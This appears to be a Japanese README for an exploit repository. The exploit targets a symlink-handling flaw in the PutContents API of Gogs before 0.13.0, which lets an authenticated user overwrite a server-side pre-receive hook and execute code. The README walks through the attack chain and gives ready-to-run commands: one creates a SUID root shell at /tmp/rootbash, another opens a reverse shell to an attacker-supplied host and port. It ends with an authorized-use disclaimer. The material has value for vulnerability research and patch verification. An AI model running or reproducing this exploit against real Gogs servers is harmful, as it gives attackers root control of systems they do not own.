
GogsのPutContents APIにおける不適切なシンボリックリンク処理により、ローカルでのコード実行が可能になります。
GogsのPutContents APIにおけるシンボリックリンクの不適切な処理により、ローカルでのコード実行が可能になります。
このリポジトリには、Gogs 0.13.0未満のバージョンにおける重大な脆弱性に対するプロフェッショナルグレードのエクスプロイトが含まれています。このエクスプロイトは、リポジトリの内容を更新する際にGogs APIがファイルタイプの検証に失敗するという論理的な欠陥を利用します。サーバー側のGitフック(pre-receive)を指すシンボリックリンクを注入することで、認証されたユーザーがフックの内容を悪意のあるスクリプトで上書きできます。その後のGitプッシュ操作により、Gogsサービスを実行しているユーザー(通常はroot)のコンテキストでこのスクリプトが実行されます。
シンボリックリンク注入:攻撃者は内部リポジトリフック(例:/root/gogs-repositories//.git/hooks/pre-receive)を指すシンボリックリンクをプッシュします。
API上書き:Gogs APIはシンボリックリンクの内容の更新を許可します。書き込み操作中にOSがリンクをたどるため、内部Gitフックが上書きされます。
RCE / 権限昇格:その後のGitプッシュによりpre-receiveフックがトリガーされます。GogsがRUN_USER = rootに設定されている場合、攻撃者はシステム全体の制御を獲得します。
必要条件
python3 exploit.py --url http://target:3000 --user <username> --pass <password> --mode suid
完了後、ターゲットでrootアクセスを取得:
/tmp/rootbash -p
python3 exploit.py --url http://target:3000 --user <username> --pass <password> --mode rev --lhost <your_ip> --lport 4444
このツールは教育目的および許可されたセキュリティ監査のみを対象としています。作者は、お客様が所有する、またはテストする明示的な許可を得たシステム上でこのツールが引き起こした誤用や損害について一切の責任を負いません。
| 引数 | 必須 | 説明 |
|---|
--url | 必須 | GogsインスタンスのベースURL(例:http://127.0.0.1:3001)。 |
--user | 必須 | 認証のための有効なユーザー名。 |
--pass | 必須 | 指定されたユーザーの有効なパスワード。 |
--mode | 任意 | エクスプロイトモード:suid(/tmp/rootbashを作成)またはrev(リバースシェル)。 |
--lhost | 任意 | リバースシェルのコールバック用ローカルIPアドレス。 |
--lport | 任意 | リバースシェルリスナーのローカルポート番号。 |